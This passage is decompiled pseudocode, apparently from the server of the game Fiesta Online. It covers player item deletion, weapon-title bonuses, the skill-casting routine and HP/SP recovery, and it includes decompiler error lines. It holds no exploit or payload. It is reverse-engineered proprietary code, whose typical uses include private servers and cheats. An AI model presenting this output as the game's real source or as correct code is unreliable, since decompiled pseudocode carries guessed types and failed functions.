(int)"ShineObjectClass::ShinePlayer::sp_SmallItemDelete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( this ) { ItemInform_ActionItem::sii_Export(this, &iti); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 1352))(v5); v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)v6; *((_DWORD *)v8 + 1) = *(_DWORD *)(v6 + 4); *((_DWORD *)v8 + 2) = *(_DWORD *)(v6 + 8); *((_DWORD *)v8 + 3) = *(_DWORD *)(v6 + 12); v8[16] = 0; v9 = *((_WORD *)v5 + 2); v10 = (a3 << 10) | a4 & 0x3FF; ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, v9, &iti, &v10); } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallItemDelete"); __security_check_cookie(v13); } // 506620: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00508BF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet(void *this, int mob) { void *v2; // esi@1 ItemTotalInformation *v3; // eax@1 WEAPON_TITLE_DATA *v4; // eax@2 WEAPON_TITLE_DATA *v5; // edi@2 ITEM_INVEN inv; // [sp+24h] [bp-14h]@1 FunctionEntarance _; // [sp+28h] [bp-10h]@1 int v8; // [sp+34h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(v2, mob); v3 = (ItemTotalInformation *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v2 + 1876))(v2, &inv); if ( v3 ) { v4 = CWeaponTitleZone::GetLevelData(&gWeaponTitle, mob, v3); v5 = v4; if ( v4 ) { *((_DWORD *)v2 + 1391) = v4->MinAdd; *((_DWORD *)v2 + 1392) = v4->MaxAdd; *((_DWORD *)v2 + 1396) = v4->MinAdd; *((_DWORD *)v2 + 1397) = v4->MaxAdd; ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v4->SP1_Reference, v4->SP1_Type, v4->SP1_Value); ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v5->SP2_Reference, v5->SP2_Type, v5->SP2_Value); ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(v2, v5->SP3_Reference, v5->SP3_Type, v5->SP3_Value); } } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_WeaponTitleSet"); } //----- (00508D30) -------------------------------------------------------- char __fastcall ShineObjectClass::ShineMobileObject::so_Routine(int a1, int lst, __int16 handle) { int v3; // esi@1 signed int v4; // ebp@1 int v5; // ecx@3 char v6; // al@3 int v7; // edx@7 int v8; // eax@7 bool v9; // zf@9 char v10; // al@9 unsigned int v12; // ecx@26 int v13; // eax@27 int v14; // edx@29 int v15; // eax@30 int v16; // eax@34 int v17; // edx@34 int v18; // eax@35 int v19; // edi@37 int v20; // edx@39 int v21; // ecx@40 int v22; // ebp@45 int v23; // eax@45 Name4 *v24; // eax@45 int v25; // ecx@45 int v26; // eax@46 int v27; // edx@48 int v28; // eax@48 int v29; // edx@49 int v30; // eax@49 int v31; // ecx@49 int v32; // eax@49 int v33; // edx@49 int v34; // eax@50 int v35; // ecx@50 int v36; // edx@51 int v37; // edx@53 int v38; // edx@56 char *v39; // edi@59 int v40; // eax@59 int v41; // eax@59 int v42; // edx@59 char *v43; // edi@60 unsigned __int16 v44; // ax@60 char v45; // al@60 int v46; // eax@61 int v47; // edx@61 SKILL_EMPOWER *v48; // eax@62 int v49; // eax@65 int v50; // edi@65 int v51; // eax@69 int v52; // ecx@69 int v53; // edx@69 int v54; // ecx@69 int v55; // eax@69 int v56; // ecx@69 int v57; // eax@71 int v58; // edx@71 int v59; // edi@71 int v60; // edx@73 unsigned __int16 v61; // ax@73 int v62; // ecx@75 int v63; // [sp-20h] [bp-38h]@45 int v64; // [sp-1Ch] [bp-34h]@45 int v65; // [sp-18h] [bp-30h]@45 int v66; // [sp-14h] [bp-2Ch]@34 int v67; // [sp-10h] [bp-28h]@34 int v68; // [sp-Ch] [bp-24h]@13 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v70; // [sp+14h] [bp-4h]@1 v3 = a1; _.fe_FunctionCode = "ShineObjectClass::ShineMobileObject::so_Routine"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_Routine"; v4 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v70 = 0; SetItemData::SkillEffect::se_Clear(&setitemskilleffect); *(_BYTE *)(v3 + 7368) &= 0xFBu; if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1136))(v3) && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1136))(v3) != 3 ) { v5 = *(_DWORD *)(v3 + 94); v6 = *(_BYTE *)(v5 + 4); if ( v6 != 3 && v6 != 2 ) *(_BYTE *)(v5 + 4) = 0; AbnormalStateContainer::AbstateListInObject::asl_Routine(v3 + 204, v3); if ( *(_BYTE *)(v3 + 3708) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 864))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 872))(v3); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v3 + 52))(v3, 1); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 1892))(v3); v7 = *(_DWORD *)v3; *(_BYTE *)(v3 + 3708) = 0; v8 = (*(int (__thiscall **)(int))(v7 + 1052))(v3); if ( (unsigned __int8)Parameter::Container::IsNoAttacOrNoMove(v8) ) (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2164))(v3); } v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1136))(v3) == 4; v10 = *(_BYTE *)(v3 + 7368); if ( v9 ) { if ( v10 & 4 || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2796))(v3) ) (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 1140))(v3); goto LABEL_13; } if ( v10 & 4 && !(*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1052))(v3) + 3086) & 1) && !(*(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1052))(v3) + 3086) & 2) ) ShineObjectClass::ShineMobileObject::smo_RunInFear((void *)v3); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2796))(v3) ) (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2800))(v3); if ( *(_DWORD *)(v3 + 172) <= 0u || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 40))(v3) ) *(_DWORD *)(v3 + 144) = 0; else MoveManager::mm_Step((MoveManager *)(v3 + 140), 0); v12 = *(_DWORD *)(v3 + 7124); if ( !v12 ) { LABEL_81: v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v13 = *(_DWORD *)(v3 + 7144); if ( !v13 ) { *(_DWORD *)(v3 + 7124) = 0; v70 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } v14 = *(_DWORD *)v3; if ( clockwatch.cw_CurrTick < v12 ) { v15 = (*(int (__thiscall **)(int))(v14 + 1052))(v3); if ( (unsigned __int8)Parameter::Container::IsNoAttack(v15) || ShineObjectClass::ShineMobileObject::smo_SkillBlastOption((void *)v3) == 2 ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2728))(v3); v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } goto LABEL_81; } (*(void (__thiscall **)(int, _DWORD))(v14 + 2764))(v3, **(_WORD **)(v13 + 4)); if ( *(_DWORD *)(v3 + 7148) ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 2720))(v3, *(_WORD *)(v3 + 7128)); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 2692))( v3, *(_WORD *)(v3 + 7128), *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v3 + 7144) + 4) + 195), 0, 0, 0); v16 = *(_WORD *)(v3 + 7128); v17 = *(_DWORD *)v3; v68 = 0; v67 = v16; v66 = 2; *(_DWORD *)(v3 + 7124) = 0; (*(void (__thiscall **)(int, int, int, int))(v17 + 2512))(v3, v66, v67, v68); v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v18 = *(_DWORD *)(v3 + 7156); if ( v18 ) { if ( **(_WORD **)v18 == unk_12574190 ) { v19 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 976))(v3); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 2692))( v3, *(_WORD *)(v3 + 7128), v19, 0, 0, 0); (*(void (__thiscall **)(int, _DWORD, int))(*(_DWORD *)v3 + 884))(v3, *(_WORD *)(v3 + 7128), v19); } else { (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v3 + 2692))( v3, *(_WORD *)(v3 + 7128), *(_DWORD *)(v3 + 7152), 0, 0, 0); } (*(void (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)v3 + 2724))( v3, *(_DWORD *)(v3 + 7156), *(_BYTE *)(v3 + 7160)); v20 = *(_DWORD *)v3; *(_DWORD *)(v3 + 7124) = 0; (*(void (__thiscall **)(int))(v20 + 2772))(v3); v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v21 = *(_DWORD *)(v3 + 7132); if ( v21 && !(unsigned __int8)(*(int (__stdcall **)(_DWORD))(*(_DWORD *)v21 + 1928))(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v3 + 7144) + 4) + 187)) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2728))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2708))(v3); v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } if ( !(unsigned __int8)(*(int (__thiscall **)(int, _DWORD, _DWORD, int))(*(_DWORD *)v3 + 2736))( v3, *(_WORD *)(v3 + 7128), *(_DWORD *)(v3 + 7144), v3 + 7164) ) { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2728))(v3); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2708))(v3); v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; goto LABEL_14; } v22 = *(_DWORD *)(v3 + 78); v68 = 65535; v67 = 0; v63 = (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe; v64 = 0; v65 = 0; v66 = 0; v23 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v23, v22, 0, 0, v63, v64, v65, v66, v67, v68); v24 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1352))(v3); NameString::operator__(&namestring, v24); v25 = *(_DWORD *)(v3 + 7132); if ( v25 ) v26 = (*(int (**)(void))(*(_DWORD *)v25 + 1716))(); else v26 = 65535; v27 = *(_DWORD *)v3; v68 = v26; (*(void (__thiscall **)(int, int))(v27 + 2716))(v3, v26); v28 = *(_DWORD *)(v3 + 7144); if ( *(_BYTE *)(v28 + 152) ) { v29 = *(_DWORD *)v3; v68 = v3 + 7164; v67 = v28; v66 = *(_WORD *)(v3 + 7128); (*(void (__thiscall **)(int, int, int, int))(v29 + 2740))(v3, v66, v28, v3 + 7164); v30 = *(_DWORD *)(v3 + 7144); v31 = *(_DWORD *)(v30 + 164); v32 = *(_DWORD *)(v30 + 156); v33 = *(_DWORD *)v3; v68 = v31; v67 = v32; (*(void (__thiscall **)(int, int, int))(v33 + 2704))(v3, v32, v31); } v34 = *(_DWORD *)(v3 + 7144); v35 = *(_DWORD *)(*(_DWORD *)(v34 + 4) + 499); if ( v35 == 6 ) { v36 = *(_DWORD *)v3; v68 = v3 + 7164; v67 = v34; v66 = *(_WORD *)(v3 + 7128); (*(void (__thiscall **)(int, int, int))(v36 + 2740))(v3, v66, v34); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 1672))(v3); } else { if ( v35 == 12 ) { v37 = *(_DWORD *)v3; v68 = v3 + 7164; v67 = v34; v66 = *(_WORD *)(v3 + 7128); (*(void (__thiscall **)(int, int, int))(v37 + 2740))(v3, v66, v34); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2360))(v3); } else { if ( *(_BYTE *)(v34 + 216) ) { v68 = *(_DWORD *)(v3 + 7144); ShineObjectClass::ShineMobileObject::smo_MagicFieldSpread(v3); } else { if ( *(_WORD *)(v3 + 7128) == SkillDataBox::sdb_SpecSkillStruct(&skilldatabox)->ss_SummonMate ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 304))(v3) && *(_DWORD *)(v3 + 98) ) { v39 = gpp.pp_Buffer; *(_DWORD *)(gpp.pp_Buffer + 9) = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v3 + 2300))(v3) + 33); v40 = *(_DWORD *)(v3 + 98); *(_DWORD *)(v39 + 13) = *(_DWORD *)v40; *(_DWORD *)(v39 + 17) = *(_DWORD *)(v40 + 4); *(_DWORD *)(v39 + 21) = *(_DWORD *)(v40 + 8); v41 = *(_DWORD *)(v3 + 78); *(_DWORD *)(v39 + 25) = *(_DWORD *)v41; v42 = *(_DWORD *)(v41 + 4); v68 = (int)v39; v67 = v3; *(_DWORD *)(v39 + 29) = v42; ZoneRingPacketSummonPartner::zrpb_Request(&zonringpack_summonpartner, (#325 *)v67, (NETCOMMAND *)v68); } ShineObjectClass::ShineMobileObject::smo_SkillResultPacket((void *)v3, *(_DWORD *)(v3 + 7144), v3 + 7136); (*(void (__thiscall **)(int))(*(_DWORD *)v3 + 2836))(v3); v43 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9294; *((_WORD *)v43 + 1) = **(_WORD **)(*(_DWORD *)(v3 + 7144) + 4); *((_WORD *)v43 + 2) = *(_WORD *)(v3 + 4); v44 = SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(&skilleffectapplyer); v67 = 8; v66 = (int)"ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast : Packet Too Long"; v65 = 8; *((_WORD *)v43 + 3) = v44; v45 = ProtocolPacket::pp_SetPacketLen(&gpp, v65); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v45, (const char *)v66, v67) ) { v46 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); v47 = *(_DWORD *)v46; v67 = (int)&gpp; v66 = v3; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v47 + 12))(v46, v3, &gpp); } } else { v48 = *(SKILL_EMPOWER **)(v3 + 7132); if ( v48 ) { v68 = v3 + 7164; ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast((#325 *)v3, v48); } else { v68 = v3 + 7164; ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(v3, v38, v3 + 7136); } } } } } v49 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v3 + 1044))(v3, v68); ++*(_DWORD *)(v49 + 16); v50 = 0; if ( *(_WORD *)(v3 + 7164) & 0xF000 ) v50 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v3 + 7144) + 4) + 4 * ((unsigned int)*(_WORD *)(v3 + 7164) >> 12) + 475); if ( ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet((void *)v3) ) { if ( *(_BYTE *)(v3 + 7368) & 0x10 ) goto LABEL_72; v51 = *(_DWORD *)(*(_DWORD *)(v3 + 7144) + 4); v52 = *(_DWORD *)(v51 + 203); v53 = *(_DWORD *)v3; v68 = v50; v67 = v52; v54 = *(_DWORD *)(v51 + 199); v55 = *(_DWORD *)(v51 + 195); v66 = v54; v56 = *(_WORD *)(v3 + 7128); v65 = v55; v64 = v56; (*(void (__thiscall **)(int, int, int, int, int, int))(v53 + 2692))(v3, v56, v55, v66, v67, v50); } if ( !(*(_BYTE *)(v3 + 7368) & 0x10) ) { v57 = *(_WORD *)(v3 + 7128); v58 = *(_DWORD *)v3; v59 = 0; v68 = 0; v67 = v57; v66 = 2; *(_DWORD *)(v3 + 7124) = 0; (*(void (__thiscall **)(int, int, int, int))(v58 + 2512))(v3, v66, v67, v68); LABEL_73: v60 = *(_DWORD *)v3; v68 = *(_WORD *)(**(_DWORD **)(v3 + 7144) + 73); (*(void (__thiscall **)(int, int))(v60 + 2712))(v3, v68); v61 = ridingskill; if ( ridingskill == -1 ) { v61 = BTree::operator__(&skillnametree, "UseRide"); ridingskill = v61; } v62 = *(_DWORD *)(v3 + 7144); if ( v62 == v59 ) *(_DWORD *)(v3 + 7124) = v59; if ( *(_DWORD *)v62 == v59 ) *(_DWORD *)(v3 + 7124) = v59; v4 = -1; if ( **(_WORD **)v62 == v61 ) *(_DWORD *)(v3 + 7124) = v59; goto LABEL_81; } LABEL_72: v59 = 0; goto LABEL_73; } LABEL_13: v68 = (int)"ShineObjectClass::ShineMobileObject::so_Routine"; LABEL_14: --funcallanalizer.fca_stackpoint; v70 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v68); return 1; } // 404C10: using guessed type int __thiscall AbnormalStateContainer__AbstateListInObject__asl_Routine(_DWORD, _DWORD); // 517DF0: using guessed type int __thiscall ShineObjectClass__ShineMobileObject__smo_MagicFieldSpread(_DWORD); //----- (005094B0) -------------------------------------------------------- #error "5094B0: undefined or illegal type '#325' (funcsize=177)" //----- (00509720) -------------------------------------------------------- #error "509720: undefined or illegal type '#325' (funcsize=129)" //----- (005098D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip(void *this) { void *v1; // esi@1 int v2; // ST04_4@5 int v3; // eax@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Parameter::Container::c_MakeTotal((char *)v1 + 4008); if ( *(_DWORD *)((char *)v1 + 32059) > (unsigned int)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1244))(v1) ) *(_DWORD *)((char *)v1 + 32059) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1244))(v1); if ( *(_DWORD *)((char *)v1 + 32063) > (unsigned int)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1248))(v1) ) *(_DWORD *)((char *)v1 + 32063) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1248))(v1); v2 = *(_DWORD *)((char *)v1 + 78); v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v3, v2, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); *((_DWORD *)v1 + 22478) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip"); } //----- (005099F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_RecoverPoint_House(void *this) { void *v1; // esi@1 int v2; // ebx@2 unsigned int v3; // ebp@2 signed int v4; // edx@3 int v5; // edi@3 int v6; // ST3C_4@3 int v7; // edx@3 signed int v8; // edx@6 int v9; // edi@6 int v10; // ebx@6 int v11; // edx@6 int v12; // ST04_4@8 int v13; // eax@8 char isrecovered; // [sp+27h] [bp-15h]@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_House"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_RecoverPoint_House"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) == 4 ) { isrecovered = 0; (*(void (__thiscall **)(void *))(*(_DWORD *)v1 + 1220))(v1); v2 = *((_WORD *)v1 + 44559); v3 = *((_DWORD *)v1 + 933) * *((_DWORD *)v1 + 22281) / 0x3E8u; if ( clockwatch.cw_CurrTick > (unsigned int)*((_WORD *)v1 + 44558) + *((_DWORD *)v1 + 930) ) { v4 = (signed int)((unsigned __int64)(274877907i64 * (signed int)(*((_DWORD *)v1 + 932) * *((_DWORD *)v1 + 22280) / 0x3E8u * *((_DWORD *)v1 + 1598))) >> 32) >> 6; v5 = v4 + ((unsigned int)v4 >> 31); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1236))(v1); (*(void (__thiscall **)(void *, int))(*(_DWORD *)v1 + 1424))(v1, v5); v7 = *(_DWORD *)v1; *((_DWORD *)v1 + 930) = clockwatch.cw_CurrTick; if ( v6 != (*(int (__thiscall **)(void *))(v7 + 1236))(v1) ) isrecovered = 1; } if ( clockwatch.cw_CurrTick > v2 + *((_DWORD *)v1 + 931) && (v8 = (signed int)((unsigned __int64)(274877907i64 * v2 * *((_DWORD *)v1 + 1455)) >> 32) >> 6, v9 = v8 + ((unsigned int)v8 >> 31), v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1240))(v1), (*(void (__thiscall **)(void *, unsigned int))(*(_DWORD *)v1 + 1428))(v1, v3 + v9), v11 = *(_DWORD *)v1, *((_DWORD *)v1 + 931) = clockwatch.cw_CurrTick, v10 != (*(int (__thiscall **)(void *))(v11 + 1240))(v1)) || isrecovered ) { v12 = *(_DWORD *)((char *)v1 + 78); v13 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v13, v12, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_RecoverPoint_House"); } //----- (00509BF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_DuringRecover(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned int v3; // edx@1 int v4; // edi@4 unsigned int v5; // eax@4 int v6; // edi@4 unsigned int v7; // eax@4 bool v8; // cf@4 int v9; // eax@6 int v10; // ST04_4@9 int v11; // eax@9 char *v12; // [sp-10h] [bp-12Ch]@3 ScriptInterrupt::InterruptHappenArgument arg; // [sp+8h] [bp-114h]@7 unsigned int cookie; // [sp+10Ch] [bp-10h]@11 int v15; // [sp+118h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_DuringRecover"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_DuringRecover"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v1 + 930) + 30; v15 = 0; if ( clockwatch.cw_CurrTick <= v3 ) { LABEL_10: v12 = "ShineObjectClass::ShineMob::sm_DuringRecover"; goto LABEL_11; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) != 3 ) { v4 = *(_DWORD *)v1; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1244))(v1); (*(void (__thiscall **)(void *, unsigned int))(v4 + 1424))(v1, v5 / 0xA); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 930) = clockwatch.cw_CurrTick; v7 = (*(int (__thiscall **)(void *))(v6 + 1248))(v1); (*(void (__thiscall **)(void *, unsigned int))(v6 + 1428))(v1, v7 / 0xA); v8 = *((_DWORD *)v1 + 1854) < *((_DWORD *)v1 + 932); *((_DWORD *)v1 + 931) = clockwatch.cw_CurrTick; if ( !v8 && *((_DWORD *)v1 + 1855) >= *((_DWORD *)v1 + 933) ) { v9 = *(_DWORD *)((char *)v1 + 98); *((_BYTE *)v1 + 8812) = 0; if ( v9 ) { *(_WORD *)&arg.npcclick.index[0] = *((_WORD *)v1 + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v9 + 68), ScriptInterrupt::ScriptInterruptManager::sim_MobHPFull, &arg); } *((_BYTE *)v1 + 8824) |= 1u; } v10 = *(_DWORD *)((char *)v1 + 78); v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v11, v10, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); v2 = -1; goto LABEL_10; } *((_BYTE *)v1 + 8812) = 0; v12 = "ShineObjectClass::ShineMob::sm_DuringRecover"; LABEL_11: --funcallanalizer.fca_stackpoint; v15 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); __security_check_cookie(cookie); } //----- (00509DB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck(void *this, int a2, __int16 a3) { int v3; // esi@1 int v4; // ebp@1 ItemInform_ActionItem *v5; // eax@2 int v6; // edx@2 ItemInform_ActionItem *v7; // ebx@2 ShineDateTime *v8; // eax@3 unsigned int v9; // esi@4 unsigned int v10; // ecx@8 unsigned int v11; // ecx@10 unsigned int v12; // ecx@13 __int16 v13; // [sp-14h] [bp-30h]@7 __int16 v14; // [sp-10h] [bp-2Ch]@7 int v15; // [sp-Ch] [bp-28h]@7 void *v16; // [sp+8h] [bp-14h]@1 v16 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; v4 = 0; if ( (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 8))(a2) > 0 ) { while ( 1 ) { v5 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, v4); v7 = v5; if ( !v5 || (v8 = ItemInform_ActionItem::sii_GetDeteleDateTime(v5)) == 0 || (v9 = v8->_bf0, (v6 = (unsigned __int8)v8->_bf0) == 0) || v6 > (unsigned int)(unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_19; if ( v6 < (unsigned int)(unsigned __int8)chargeditemcheck._bf0 ) break; v10 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; v6 = (v9 >> 8) & 0x1F; if ( v6 <= v10 ) { if ( v6 < v10 ) goto LABEL_17; v11 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; v6 = (v9 >> 13) & 0x3F; if ( v6 <= v11 ) { if ( v6 < v11 ) { v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } v12 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; v6 = (v9 >> 19) & 0x3F; if ( v6 <= v12 ) { if ( v6 < v12 ) { v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } if ( (v9 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000) ) { LABEL_17: v15 = (int)v8; v14 = v4; v13 = a3; goto LABEL_18; } } } } LABEL_19: v3 = a2; ++v4; if ( v4 >= (*(int (__fastcall **)(int, int))(*(_DWORD *)a2 + 8))(a2, v6) ) goto LABEL_20; } v15 = (int)v8; v14 = v4; v13 = a3; LABEL_18: ShineObjectClass::ShinePlayer::sp_SmallItemDelete(v16, v7, v13, v14, v15); goto LABEL_19; } LABEL_20: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SmallChargedItemLimitCheck"); } //----- (00509F30) -------------------------------------------------------- #error "509F30: undefined or illegal type '#325' 